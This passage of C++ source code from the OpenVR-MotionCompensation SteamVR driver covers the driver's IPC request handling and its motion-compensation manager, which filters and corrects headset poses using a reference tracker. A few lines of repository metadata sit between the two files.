reply.status = ipc::ReplyStatus::InvalidVersion;
LOG(INFO) << "Client (endpoint \"" << message.msg.ipc_ClientConnect.queueName << "\") reports incompatible ipc version "
<< message.msg.ipc_ClientConnect.ipcProcotolVersion;
}
_this->sendReply(clientId, reply);
}
catch (std::exception & e)
{
LOG(ERROR) << "Error during client connect: " << e.what();
}
}
break;
case ipc::RequestType::IPC_ClientDisconnect:
{
ipc::Reply reply(ipc::ReplyType::GenericReply);
reply.messageId = message.msg.ipc_ClientDisconnect.messageId;
auto i = _this->_ipcEndpoints.find(message.msg.ipc_ClientDisconnect.clientId);
if (i != _this->_ipcEndpoints.end())
{
reply.status = ipc::ReplyStatus::Ok;
LOG(INFO) << "Client disconnected: clientId " << message.msg.ipc_ClientDisconnect.clientId;
if (reply.messageId != 0)
{
_this->sendReply(message.msg.ipc_ClientDisconnect.clientId, reply);
}
_this->_ipcEndpoints.erase(i);
}
else
{
LOG(ERROR) << "Error during client disconnect: unknown clientID " << message.msg.ipc_ClientDisconnect.clientId;
}
}
break;
case ipc::RequestType::IPC_Ping:
{
LOG(TRACE) << "Ping received: clientId " << message.msg.ipc_Ping.clientId << ", nonce " << message.msg.ipc_Ping.nonce;
ipc::Reply reply(ipc::ReplyType::IPC_Ping);
reply.messageId = message.msg.ipc_Ping.messageId;
reply.status = ipc::ReplyStatus::Ok;
reply.msg.ipc_Ping.nonce = message.msg.ipc_Ping.nonce;
_this->sendReply(message.msg.ipc_ClientDisconnect.clientId, reply);
}
break;
case ipc::RequestType::DeviceManipulation_GetDeviceInfo:
{
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.ovr_GenericDeviceIdMessage.messageId;
if (message.msg.ovr_GenericDeviceIdMessage.OpenVRId >= vr::k_unMaxTrackedDeviceCount)
{
resp.status = ipc::ReplyStatus::InvalidId;
}
else
{
DeviceManipulationHandle* info = driver->getDeviceManipulationHandleById(message.msg.ovr_GenericDeviceIdMessage.OpenVRId);
if (!info)
{
resp.status = ipc::ReplyStatus::NotFound;
resp.msg.dm_deviceInfo.deviceClass = vr::ETrackedDeviceClass::TrackedDeviceClass_Invalid;
}
else
{
resp.status = ipc::ReplyStatus::Ok;
resp.msg.dm_deviceInfo.OpenVRId = message.msg.ovr_GenericDeviceIdMessage.OpenVRId;
resp.msg.dm_deviceInfo.deviceMode = info->getDeviceMode();
resp.msg.dm_deviceInfo.deviceClass = info->deviceClass();
}
}
/*if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while getting device info: Error code " << (int)resp.status;
}*/
if (resp.messageId != 0)
{
_this->sendReply(message.msg.ovr_GenericDeviceIdMessage.clientId, resp);
}
}
break;
case ipc::RequestType::DeviceManipulation_MotionCompensationMode:
{
// Create reply message
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.dm_MotionCompensationMode.messageId;
if (message.msg.dm_MotionCompensationMode.MCdeviceId > vr::k_unMaxTrackedDeviceCount ||
(message.msg.dm_MotionCompensationMode.RTdeviceId > vr::k_unMaxTrackedDeviceCount && message.msg.dm_MotionCompensationMode.CompensationMode == MotionCompensationMode::ReferenceTracker))
{
resp.status = ipc::ReplyStatus::InvalidId;
}
else
{
DeviceManipulationHandle* MCdevice = driver->getDeviceManipulationHandleById(message.msg.dm_MotionCompensationMode.MCdeviceId);
DeviceManipulationHandle* RTdevice = driver->getDeviceManipulationHandleById(message.msg.dm_MotionCompensationMode.RTdeviceId);
int MCdeviceID = message.msg.dm_MotionCompensationMode.MCdeviceId;
int RTdeviceID = message.msg.dm_MotionCompensationMode.RTdeviceId;
if (!MCdevice)
{
LOG(ERROR) << "DeviceManipulation_MotionCompensationMode: MCdevice not found";
resp.status = ipc::ReplyStatus::NotFound;
}
else if (!RTdevice)
{
LOG(ERROR) << "DeviceManipulation_MotionCompensationMode: RTdevice not found";
resp.status = ipc::ReplyStatus::NotFound;
}
else
{
auto serverDriver = ServerDriver::getInstance();
if (serverDriver)
{
if (message.msg.dm_MotionCompensationMode.CompensationMode == MotionCompensationMode::ReferenceTracker)
{
LOG(INFO) << "Setting driver into motion compensation mode";
LOG(INFO) << "Tracker OpenVR Id: " << message.msg.dm_MotionCompensationMode.RTdeviceId;
LOG(INFO) << "HMD OpenVR Id: " << message.msg.dm_MotionCompensationMode.MCdeviceId;
// Check if an old device needs a mode change
if (serverDriver->motionCompensation().getMotionCompensationMode() == MotionCompensationMode::ReferenceTracker)
{
// New MCdevice is different from old
if (serverDriver->motionCompensation().getMCdeviceID() != MCdeviceID)
{
// Set old MCdevice to default
DeviceManipulationHandle* OldMCdevice = driver->getDeviceManipulationHandleById(serverDriver->motionCompensation().getMCdeviceID());
OldMCdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::Default);
// Set new MCdevice to motion compensated
MCdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::MotionCompensated);
serverDriver->motionCompensation().setNewReferenceTracker(MCdeviceID);
}
// New RTdevice is different from old
if (serverDriver->motionCompensation().getRTdeviceID() != RTdeviceID)
{
// Set old RTdevice to default
DeviceManipulationHandle* OldRTdevice = driver->getDeviceManipulationHandleById(serverDriver->motionCompensation().getRTdeviceID());
OldRTdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::Default);
// Set new RTdevice to reference tracker
RTdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::ReferenceTracker);
serverDriver->motionCompensation().setNewReferenceTracker(RTdeviceID);
}
}
else
{
// Activate motion compensation mode for specified device
MCdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::MotionCompensated);
RTdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::ReferenceTracker);
// Set motion compensation mode
serverDriver->motionCompensation().setMotionCompensationMode(MotionCompensationMode::ReferenceTracker, MCdeviceID, RTdeviceID);
}
}
else if (message.msg.dm_MotionCompensationMode.CompensationMode == MotionCompensationMode::Disabled)
{
LOG(INFO) << "Setting driver into default mode";
MCdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::Default);
RTdevice->setMotionCompensationDeviceMode(MotionCompensationDeviceMode::Default);
// Reset and set some vars for every device
serverDriver->motionCompensation().setMotionCompensationMode(MotionCompensationMode::Disabled, -1, -1);
}
resp.status = ipc::ReplyStatus::Ok;
}
else
{
resp.status = ipc::ReplyStatus::UnknownError;
}
}
}
if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while setting device into motion compensation mode: Error code " << (int)resp.status;
LOG(ERROR) << "MCdeviceID: " << message.msg.dm_MotionCompensationMode.MCdeviceId << ", RTdeviceID: " << message.msg.dm_MotionCompensationMode.RTdeviceId;
}
if (resp.messageId != 0)
{
_this->sendReply(message.msg.dm_MotionCompensationMode.clientId, resp);
}
}
break;
case ipc::RequestType::DeviceManipulation_SetMotionCompensationProperties:
{
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.dm_SetMotionCompensationProperties.messageId;
auto serverDriver = ServerDriver::getInstance();
if (serverDriver)
{
LOG(INFO) << "Setting driver motion compensation properties:";
LOG(INFO) << "LPF_Beta: " << message.msg.dm_SetMotionCompensationProperties.LPFBeta;
LOG(INFO) << "samples: " << message.msg.dm_SetMotionCompensationProperties.samples;
LOG(INFO) << "set Zero: " << message.msg.dm_SetMotionCompensationProperties.setZero;
LOG(INFO) << "End of property listing";
serverDriver->motionCompensation().setLpfBeta(message.msg.dm_SetMotionCompensationProperties.LPFBeta);
serverDriver->motionCompensation().setAlpha(message.msg.dm_SetMotionCompensationProperties.samples);
serverDriver->motionCompensation().setZeroMode(message.msg.dm_SetMotionCompensationProperties.setZero);
resp.status = ipc::ReplyStatus::Ok;
}
else
{
resp.status = ipc::ReplyStatus::UnknownError;
}
if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while setting motion compensation properties: Error code " << (int)resp.status;
}
if (resp.messageId != 0)
{
_this->sendReply(message.msg.dm_SetMotionCompensationProperties.clientId, resp);
}
}
break;
case ipc::RequestType::DeviceManipulation_ResetRefZeroPose:
{
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.dm_SetMotionCompensationProperties.messageId;
auto serverDriver = ServerDriver::getInstance();
if (serverDriver)
{
LOG(INFO) << "Resetting reference zero pose";
serverDriver->motionCompensation().resetZeroPose();
resp.status = ipc::ReplyStatus::Ok;
}
else
{
resp.status = ipc::ReplyStatus::UnknownError;
}
if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while setting motion compensation properties: Error code " << (int)resp.status;
}
if (resp.messageId != 0)
{
_this->sendReply(message.msg.dm_SetMotionCompensationProperties.clientId, resp);
}
}
break;
case ipc::RequestType::DeviceManipulation_SetOffsets:
{
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.dm_SetOffsets.messageId;
auto serverDriver = ServerDriver::getInstance();
if (serverDriver)
{
serverDriver->motionCompensation().setOffsets(message.msg.dm_SetOffsets.offsets);
resp.status = ipc::ReplyStatus::Ok;
}
else
{
resp.status = ipc::ReplyStatus::UnknownError;
}
if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while setting offsets: Error code " << (int)resp.status;
}
if (resp.messageId != 0)
{
_this->sendReply(message.msg.dm_SetOffsets.clientId, resp);
}
}
break;
case ipc::RequestType::DebugLogger_Settings:
{
ipc::Reply resp(ipc::ReplyType::GenericReply);
resp.messageId = message.msg.dl_Settings.messageId;
auto serverDriver = ServerDriver::getInstance();
if (serverDriver)
{
if (message.msg.dl_Settings.enabled)
{
/*if (!serverDriver->motionCompensation().StartDebugData())
{
LOG(INFO) << "Could not start debug logger: Motion Compensation must be enabled";
resp.status = ipc::ReplyStatus::InvalidId;
}
else
{
LOG(INFO) << "Debug logger enabled";
LOG(INFO) << "Max debug data points = " << message.msg.dl_Settings.MaxDebugPoints;
resp.status = ipc::ReplyStatus::Ok;
} */
resp.status = ipc::ReplyStatus::Ok;
}
else
{
LOG(INFO) << "Debug logger disabled";
//serverDriver->motionCompensation().StopDebugData();
resp.status = ipc::ReplyStatus::Ok;
}
}
else
{
resp.status = ipc::ReplyStatus::UnknownError;
}
if (resp.status != ipc::ReplyStatus::Ok)
{
LOG(ERROR) << "Error while starting debug logger: Error code " << (int)resp.status;
}
if (resp.messageId != 0)
{
_this->sendReply(message.msg.dl_Settings.clientId, resp);
}
}
break;
default:
LOG(ERROR) << "Error in ipc server receive loop: Unknown message type (" << (int)message.type << ")";
break;
}
}
else
{
LOG(ERROR) << "Error in ipc server receive loop: received size is wrong (" << recv_size << " != " << sizeof(ipc::Request) << ")";
}
}
}
catch (std::exception & ex)
{
LOG(ERROR) << "Exception caught in ipc server receive loop: " << ex.what();
}
}
boost::interprocess::message_queue::remove(_this->_ipcQueueName.c_str());
}
catch (std::exception & ex)
{
LOG(ERROR) << "Exception caught in ipc server thread: " << ex.what();
}
_this->_ipcThreadRunning = false;
LOG(DEBUG) << "CServerDriver::_ipcThreadFunc: thread stopped";
}
void IpcShmCommunicator::sendReply(uint32_t clientId, const ipc::Reply& reply)
{
std::lock_guard<std::mutex> guard(_sendMutex);
auto i = _ipcEndpoints.find(clientId);
if (i != _ipcEndpoints.end())
{
i->second->send(&reply, sizeof(ipc::Reply), 0);
}
else
{
LOG(ERROR) << "Error while sending reply: Unknown clientId " << clientId;
}
}
} // end namespace driver
} // end namespace vrmotioncompensation
| 17,558
|
C++
|
.cpp
| 410
| 33.034146
| 195
| 0.624444
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,193
|
MotionCompensationManager.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/devicemanipulation/MotionCompensationManager.cpp
|
#include "MotionCompensationManager.h"
#include "DeviceManipulationHandle.h"
#include "../driver/ServerDriver.h"
#include <cmath>
#include <boost/math/constants/constants.hpp>
#include <boost/interprocess/shared_memory_object.hpp>
// driver namespace
namespace vrmotioncompensation
{
namespace driver
{
MotionCompensationManager::MotionCompensationManager(ServerDriver* parent) : m_parent(parent)
{
try
{
// create shared memory
_shdmem = { boost::interprocess::open_or_create, "OVRMC_MMFv1", boost::interprocess::read_write, 4096 };
_region = { _shdmem, boost::interprocess::read_write };
// get pointer address and fill it with data
_Poffset = static_cast<MMFstruct_OVRMC_v1*>(_region.get_address());
*_Poffset = _Offset;
LOG(INFO) << "Shared memory OVRMC_MMFv1 created";
}
catch (boost::interprocess::interprocess_exception& e)
{
LOG(ERROR) << "Could not create or open shared memory. Error code " << e.get_error_code();
}
}
bool MotionCompensationManager::setMotionCompensationMode(MotionCompensationMode Mode, int McDevice, int RtDevice)
{
if (Mode == MotionCompensationMode::ReferenceTracker)
{
_RefPoseValid = false;
_RefPoseValidCounter = 0;
_ZeroPoseValid = false;
_Enabled = true;
setAlpha(_Samples);
}
else
{
_Enabled = false;
}
_McDeviceID = McDevice;
_RtDeviceID = RtDevice;
_Mode = Mode;
return true;
}
void MotionCompensationManager::setNewMotionCompensatedDevice(int MCdevice)
{
_McDeviceID = MCdevice;
}
void MotionCompensationManager::setNewReferenceTracker(int RTdevice)
{
_RtDeviceID = RTdevice;
_RefPoseValid = false;
_ZeroPoseValid = false;
}
void MotionCompensationManager::setAlpha(uint32_t samples)
{
_Samples = samples;
_Alpha = 2.0 / (1.0 + (double)samples);
}
void MotionCompensationManager::setZeroMode(bool setZero)
{
_SetZeroMode = setZero;
_zeroVec(_RefVel);
_zeroVec(_RefRotVel);
_zeroVec(_RefAcc);
_zeroVec(_RefRotAcc);
}
void MotionCompensationManager::setOffsets(MMFstruct_OVRMC_v1 offsets)
{
//_Offset.Translation = offsets.Translation;
//_Offset.Rotation = offsets.Rotation;
_Offset = offsets;
*_Poffset = _Offset;
}
bool MotionCompensationManager::isZeroPoseValid()
{
return _ZeroPoseValid;
}
void MotionCompensationManager::resetZeroPose()
{
_ZeroPoseValid = false;
}
void MotionCompensationManager::setZeroPose(const vr::DriverPose_t& pose)
{
// convert pose from driver space to app space
vr::HmdQuaternion_t tmpConj = vrmath::quaternionConjugate(pose.qWorldFromDriverRotation);
// Save zero points
_ZeroLock.lock();
_ZeroPos = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, pose.vecPosition, false) + pose.vecWorldFromDriverTranslation;
_ZeroRot = pose.qWorldFromDriverRotation * pose.qRotation;
_ZeroPoseValid = true;
_ZeroLock.unlock();
}
void MotionCompensationManager::updateRefPose(const vr::DriverPose_t& pose)
{
// From https://github.com/ValveSoftware/driver_hydra/blob/master/drivers/driver_hydra/driver_hydra.cpp Line 835:
// "True acceleration is highly volatile, so it's not really reasonable to
// extrapolate much from it anyway. Passing it as 0 from any driver should
// be fine."
// Line 832:
// "The trade-off here is that setting a valid velocity causes the controllers
// to jitter, but the controllers feel much more "alive" and lighter.
// The jitter while stationary is more annoying than the laggy feeling caused
// by disabling velocity (which effectively disables prediction for rendering)."
// That means that we have to calculate the velocity to not interfere with the prediction for rendering
// Oculus devices do use acceleration. It also seems that the HMD uses theses values for render-prediction
vr::HmdVector3d_t Filter_vecPosition = { 0, 0, 0 };
vr::HmdVector3d_t Filter_vecVelocity = { 0, 0, 0 };
vr::HmdVector3d_t Filter_vecAcceleration = { 0, 0, 0 };
vr::HmdVector3d_t Filter_vecAngularVelocity = { 0, 0, 0 };
vr::HmdVector3d_t Filter_vecAngularAcceleration = { 0, 0, 0 };
vr::HmdVector3d_t RotEulerFilter = { 0, 0, 0 };
vr::HmdQuaternion_t tmpConj = vrmath::quaternionConjugate(pose.qWorldFromDriverRotation);
// Get current time in microseconds and convert it to seconds
long long now = std::chrono::duration_cast <std::chrono::microseconds>(std::chrono::system_clock::now().time_since_epoch()).count();
double tdiff = (double)(now - _RefTrackerLastTime) / 1.0E6 + (pose.poseTimeOffset - _RefTrackerLastPose.poseTimeOffset);
// Position
// Add a exponential median average filter
if (_Samples >= 2)
{
// ----------------------------------------------------------------------------------------------- //
// ----------------------------------------------------------------------------------------------- //
// Position
Filter_vecPosition.v[0] = DEMA(pose.vecPosition[0], 0);
Filter_vecPosition.v[1] = DEMA(pose.vecPosition[1], 1);
Filter_vecPosition.v[2] = DEMA(pose.vecPosition[2], 2);
// ----------------------------------------------------------------------------------------------- //
// ----------------------------------------------------------------------------------------------- //
// Velocity and acceleration
if (!_SetZeroMode)
{
Filter_vecVelocity.v[0] = vecVelocity(tdiff, Filter_vecPosition.v[0], _RefTrackerLastPose.vecPosition[0]);
Filter_vecVelocity.v[1] = vecVelocity(tdiff, Filter_vecPosition.v[1], _RefTrackerLastPose.vecPosition[1]);
Filter_vecVelocity.v[2] = vecVelocity(tdiff, Filter_vecPosition.v[2], _RefTrackerLastPose.vecPosition[2]);
Filter_vecAcceleration.v[0] = vecAcceleration(tdiff, Filter_vecVelocity.v[0], _RefTrackerLastPose.vecVelocity[0]);
Filter_vecAcceleration.v[1] = vecAcceleration(tdiff, Filter_vecVelocity.v[1], _RefTrackerLastPose.vecVelocity[1]);
Filter_vecAcceleration.v[2] = vecAcceleration(tdiff, Filter_vecVelocity.v[2], _RefTrackerLastPose.vecVelocity[2]);
}
}
else
{
_copyVec(Filter_vecPosition, pose.vecPosition);
_copyVec(Filter_vecVelocity, pose.vecVelocity);
}
// convert pose from driver space to app space
_RefLock.lock();
_RefPos = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, Filter_vecPosition, false) + pose.vecWorldFromDriverTranslation;
_RefLock.unlock();
// ----------------------------------------------------------------------------------------------- //
// ----------------------------------------------------------------------------------------------- //
// Rotation
if (_LpfBeta <= 0.9999)
{
// 1st stage
_Filter_rotPosition[0] = lowPassFilterQuaternion(pose.qRotation, _Filter_rotPosition[0]);
// 2nd stage
_Filter_rotPosition[1] = lowPassFilterQuaternion(_Filter_rotPosition[0], _Filter_rotPosition[1]);
vr::HmdVector3d_t RotEulerFilter = toEulerAngles(_Filter_rotPosition[1]);
if (!_SetZeroMode)
{
Filter_vecAngularVelocity.v[0] = rotVelocity(tdiff, RotEulerFilter.v[0], _RotEulerFilterOld.v[0]);
Filter_vecAngularVelocity.v[1] = rotVelocity(tdiff, RotEulerFilter.v[1], _RotEulerFilterOld.v[1]);
Filter_vecAngularVelocity.v[2] = rotVelocity(tdiff, RotEulerFilter.v[2], _RotEulerFilterOld.v[2]);
Filter_vecAngularAcceleration.v[0] = vecAcceleration(tdiff, Filter_vecAngularVelocity.v[0], _RefTrackerLastPose.vecAngularVelocity[0]);
Filter_vecAngularAcceleration.v[1] = vecAcceleration(tdiff, Filter_vecAngularVelocity.v[1], _RefTrackerLastPose.vecAngularVelocity[1]);
Filter_vecAngularAcceleration.v[2] = vecAcceleration(tdiff, Filter_vecAngularVelocity.v[2], _RefTrackerLastPose.vecAngularVelocity[2]);
}
}
else
{
_Filter_rotPosition[1] = pose.qRotation;
_copyVec(Filter_vecAngularVelocity, pose.vecAngularVelocity);
_copyVec(Filter_vecAngularAcceleration, pose.vecAngularAcceleration);
}
// calculate orientation difference and its inverse
vr::HmdQuaternion_t poseWorldRot = pose.qWorldFromDriverRotation * _Filter_rotPosition[1];
_RefLock.lock();
_ZeroLock.lock();
_RefRot = poseWorldRot * vrmath::quaternionConjugate(_ZeroRot);
_RefRotInv = vrmath::quaternionConjugate(_RefRot);
_ZeroLock.unlock();
_RefLock.unlock();
if (!_SetZeroMode)
{
// Convert velocity and acceleration values into app space
_RefVelLock.lock();
_RefVel = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, Filter_vecVelocity, false);
_RefRotVel = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, Filter_vecAngularVelocity, false);
_RefAcc = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, Filter_vecAcceleration, false);
_RefRotAcc = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, Filter_vecAngularAcceleration, false);
_RefVelLock.unlock();
}
// ----------------------------------------------------------------------------------------------- //
// ----------------------------------------------------------------------------------------------- //
// Wait 100 frames before setting reference pose to valid
if (_RefPoseValidCounter > 100)
{
_RefPoseValid = true;
}
else
{
_RefPoseValidCounter++;
}
// Save last rotation and pose
_RotEulerFilterOld = RotEulerFilter;
_RefTrackerLastPose = pose;
}
bool MotionCompensationManager::applyMotionCompensation(vr::DriverPose_t& pose)
{
if (_Enabled && _ZeroPoseValid && _RefPoseValid)
{
// All filter calculations are done within the function for the reference tracker, because the HMD position is updated 3x more often.
// Convert pose from driver space to app space
vr::HmdQuaternion_t tmpConj = vrmath::quaternionConjugate(pose.qWorldFromDriverRotation);
vr::HmdVector3d_t poseWorldPos = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, pose.vecPosition, false) + pose.vecWorldFromDriverTranslation;
// Do motion compensation
vr::HmdQuaternion_t poseWorldRot = pose.qWorldFromDriverRotation * pose.qRotation;
_RefLock.lock();
_ZeroLock.lock();
vr::HmdVector3d_t compensatedPoseWorldPos = _ZeroPos + vrmath::quaternionRotateVector(_RefRot, _RefRotInv, poseWorldPos - _RefPos, true);
_ZeroLock.unlock();
vr::HmdQuaternion_t compensatedPoseWorldRot = _RefRotInv * poseWorldRot;
_RefLock.unlock();
// Translate the motion ref Velocity / Acceleration values into driver space and directly subtract them
if (_SetZeroMode)
{
_zeroVec(pose.vecVelocity);
_zeroVec(pose.vecAcceleration);
_zeroVec(pose.vecAngularVelocity);
_zeroVec(pose.vecAngularAcceleration);
}
else
{
// Translate the motion ref Velocity / Acceleration values into driver space and directly subtract them
_RefVelLock.lock();
vr::HmdVector3d_t tmpPosVel = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, _RefVel, true);
pose.vecVelocity[0] -= tmpPosVel.v[0];
pose.vecVelocity[1] -= tmpPosVel.v[1];
pose.vecVelocity[2] -= tmpPosVel.v[2];
vr::HmdVector3d_t tmpRotVel = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, _RefRotVel, true);
pose.vecAngularVelocity[0] -= tmpRotVel.v[0];
pose.vecAngularVelocity[1] -= tmpRotVel.v[1];
pose.vecAngularVelocity[2] -= tmpRotVel.v[2];
vr::HmdVector3d_t tmpPosAcc = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, _RefAcc, true);
pose.vecAcceleration[0] -= tmpPosAcc.v[0];
pose.vecAcceleration[1] -= tmpPosAcc.v[1];
pose.vecAcceleration[2] -= tmpPosAcc.v[2];
vr::HmdVector3d_t tmpRotAcc = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, _RefRotAcc, true);
pose.vecAngularAcceleration[0] -= tmpRotAcc.v[0];
pose.vecAngularAcceleration[1] -= tmpRotAcc.v[1];
pose.vecAngularAcceleration[2] -= tmpRotAcc.v[2];
_RefVelLock.unlock();
}
// convert back to driver space
pose.qRotation = tmpConj * compensatedPoseWorldRot;
vr::HmdVector3d_t adjPoseDriverPos = vrmath::quaternionRotateVector(pose.qWorldFromDriverRotation, tmpConj, compensatedPoseWorldPos - pose.vecWorldFromDriverTranslation, true);
_copyVec(pose.vecPosition, adjPoseDriverPos.v);
}
return true;
}
void MotionCompensationManager::runFrame()
{
/*if (_Offset.Flags_1 & (1 << FLAG_ENABLE_MC) && _Mode == MotionCompensationMode::Disabled)
{
}
else if (!(_Offset.Flags_1 & (1 << FLAG_ENABLE_MC)) && _Mode == MotionCompensationMode::ReferenceTracker)
{
setMotionCompensationMode(MotionCompensationMode::ReferenceTracker, -1, -1);
}*/
}
double MotionCompensationManager::vecVelocity(double time, const double vecPosition, const double Old_vecPosition)
{
double NewVelocity = 0.0;
if (time != (double)0.0)
{
NewVelocity = (vecPosition - Old_vecPosition) / time;
}
return NewVelocity;
}
double MotionCompensationManager::vecAcceleration(double time, const double vecVelocity, const double Old_vecVelocity)
{
double NewAcceleration = 0.0;
if (time != (double)0.0)
{
NewAcceleration = (vecVelocity - Old_vecVelocity) / time;
}
return NewAcceleration;
}
double MotionCompensationManager::rotVelocity(double time, const double vecAngle, const double Old_vecAngle)
{
double NewVelocity = 0.0;
if (time != (double)0.0)
{
NewVelocity = (1 - angleDifference(vecAngle, Old_vecAngle)) / time;
}
return NewVelocity;
}
// Low Pass Filter for 3d Vectors
double MotionCompensationManager::DEMA(const double RawData, int Axis)
{
_Filter_vecPosition[0].v[Axis] += _Alpha * (RawData - _Filter_vecPosition[1].v[Axis]);
_Filter_vecPosition[1].v[Axis] += _Alpha * (_Filter_vecPosition[0].v[Axis] - _Filter_vecPosition[1].v[Axis]);
return 2 * _Filter_vecPosition[0].v[Axis] - _Filter_vecPosition[1].v[Axis];
}
// Low Pass Filter for 3d Vectors
vr::HmdVector3d_t MotionCompensationManager::LPF(const double RawData[3], vr::HmdVector3d_t SmoothData)
{
vr::HmdVector3d_t RetVal;
RetVal.v[0] = SmoothData.v[0] - (_LpfBeta * (SmoothData.v[0] - RawData[0]));
RetVal.v[1] = SmoothData.v[1] - (_LpfBeta * (SmoothData.v[1] - RawData[1]));
RetVal.v[2] = SmoothData.v[2] - (_LpfBeta * (SmoothData.v[2] - RawData[2]));
return RetVal;
}
// Low Pass Filter for 3d Vectors
vr::HmdVector3d_t MotionCompensationManager::LPF(vr::HmdVector3d_t RawData, vr::HmdVector3d_t SmoothData)
{
vr::HmdVector3d_t RetVal;
RetVal.v[0] = SmoothData.v[0] - (_LpfBeta * (SmoothData.v[0] - RawData.v[0]));
RetVal.v[1] = SmoothData.v[1] - (_LpfBeta * (SmoothData.v[1] - RawData.v[1]));
RetVal.v[2] = SmoothData.v[2] - (_LpfBeta * (SmoothData.v[2] - RawData.v[2]));
return RetVal;
}
// Low Pass Filter for quaternion
vr::HmdQuaternion_t MotionCompensationManager::lowPassFilterQuaternion(vr::HmdQuaternion_t RawData, vr::HmdQuaternion_t SmoothData)
{
return slerp(SmoothData, RawData, _LpfBeta);
}
// Spherical Linear Interpolation for Quaternions
vr::HmdQuaternion_t MotionCompensationManager::slerp(vr::HmdQuaternion_t q1, vr::HmdQuaternion_t q2, double lambda)
{
vr::HmdQuaternion_t qr;
double dotproduct = q1.x * q2.x + q1.y * q2.y + q1.z * q2.z + q1.w * q2.w;
// if q1 and q2 are the same, we can return either of the values
if (dotproduct >= 1.0 || dotproduct <= -1.0)
{
return q1;
}
double theta, st, sut, sout, coeff1, coeff2;
// algorithm adapted from Shoemake's paper
lambda = lambda / 2.0;
theta = (double)acos(dotproduct);
if (theta < 0.0) theta = -theta;
st = (double)sin(theta);
sut = (double)sin(lambda * theta);
sout = (double)sin((1 - lambda) * theta);
coeff1 = sout / st;
coeff2 = sut / st;
qr.x = coeff1 * q1.x + coeff2 * q2.x;
qr.y = coeff1 * q1.y + coeff2 * q2.y;
qr.z = coeff1 * q1.z + coeff2 * q2.z;
qr.w = coeff1 * q1.w + coeff2 * q2.w;
//Normalize
double norm = sqrt(qr.x * qr.x + qr.y * qr.y + qr.z * qr.z + qr.w * qr.w);
qr.x /= norm;
qr.y /= norm;
qr.z /= norm;
return qr;
}
// Convert Quaternion to Euler Angles in Radians
vr::HmdVector3d_t MotionCompensationManager::toEulerAngles(vr::HmdQuaternion_t q)
{
vr::HmdVector3d_t angles;
// roll (x-axis rotation)
double sinr_cosp = 2 * (q.w * q.x + q.y * q.z);
double cosr_cosp = 1 - 2 * (q.x * q.x + q.y * q.y);
angles.v[0] = std::atan2(sinr_cosp, cosr_cosp);
// pitch (y-axis rotation)
double sinp = 2 * (q.w * q.y - q.z * q.x);
if (std::abs(sinp) >= 1)
{
angles.v[1] = std::copysign(boost::math::constants::pi<double>() / 2, sinp); // use 90 degrees if out of range
}
else
{
angles.v[1] = std::asin(sinp);
}
// yaw (z-axis rotation)
double siny_cosp = 2 * (q.w * q.z + q.x * q.y);
double cosy_cosp = 1 - 2 * (q.y * q.y + q.z * q.z);
angles.v[2] = std::atan2(siny_cosp, cosy_cosp);
return angles;
}
// Returns the shortest difference between to angles
const double MotionCompensationManager::angleDifference(double Raw, double New)
{
double diff = fmod((New - Raw + (double)180), (double)360) - (double)180;
return diff < -(double)180 ? diff + (double)360 : diff;
}
vr::HmdVector3d_t MotionCompensationManager::transform(vr::HmdVector3d_t VecRotation, vr::HmdVector3d_t VecPosition, vr::HmdVector3d_t point)
{
// point is the user-input offset to the controller
// VecRotation and VecPosition is the current reference-pose (Controller or input from Mover)
vr::HmdQuaternion_t quat = vrmath::quaternionFromYawPitchRoll(VecRotation.v[0], VecRotation.v[1], VecRotation.v[2]);
return transform(quat, VecPosition, point);
}
// Calculates the new coordinates of 'point', moved and rotated by VecRotation and VecPosition
vr::HmdVector3d_t MotionCompensationManager::transform(vr::HmdQuaternion_t quat, vr::HmdVector3d_t VecPosition, vr::HmdVector3d_t point)
{
vr::HmdVector3d_t translation = vrmath::quaternionRotateVector(quat, VecPosition);
return vrmath::quaternionRotateVector(quat, point) + translation;
}
//
vr::HmdVector3d_t MotionCompensationManager::transform(vr::HmdVector3d_t VecRotation, vr::HmdVector3d_t VecPosition, vr::HmdVector3d_t centerOfRotation, vr::HmdVector3d_t point)
{
// point is the user-input offset to the controller
// VecRotation and VecPosition is the current rig-pose
vr::HmdQuaternion_t quat = vrmath::quaternionFromYawPitchRoll(VecRotation.v[0], VecRotation.v[1], VecRotation.v[2]);
double n1 = quat.x * 2.f;
double n2 = quat.y * 2.f;
double n3 = quat.z * 2.f;
double _n4 = quat.x * n1;
double _n5 = quat.y * n2;
double _n6 = quat.z * n3;
double _n7 = quat.x * n2;
